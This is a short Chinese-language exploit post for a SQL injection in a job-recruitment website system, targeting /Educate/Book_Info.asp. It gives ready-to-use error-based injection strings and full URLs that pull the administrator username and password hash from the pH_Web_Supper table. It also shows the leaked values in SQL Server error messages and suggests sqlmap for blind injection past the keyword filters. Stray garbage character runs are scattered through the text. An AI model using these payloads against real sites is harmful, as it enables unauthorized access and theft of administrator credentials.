网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp

) j% S6 m# e1 p/ M此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出

exp：如下
查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
+ z/ C9 f( I# A- o! k& D5 A查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
% R) u, \% ?( v$ M8 x; z! K
$ W! W7 p! Q; E' |8 y! {8 b5 Qhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)

( H7 E1 s2 Q% H0 y1 `6 I5 yMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
" G& g( @8 z3 ]# @
  j8 c7 n$ i5 V' ^; C; x将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。

/Educate/Book_Info.asp，行 8

8 r+ C7 r, w$ ?$ T8 X$ [7 ihttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
, k9 h) u9 \8 L: F4 o- W% k& i/ v
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

! _0 i. e5 a' d/ H: h  ~; B) N9 d% v将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
' o" U* ]1 M% N" t- `5 E6 I
/Educate/Book_Info.asp，行 8
2 r0 ~0 p9 ?* A; |​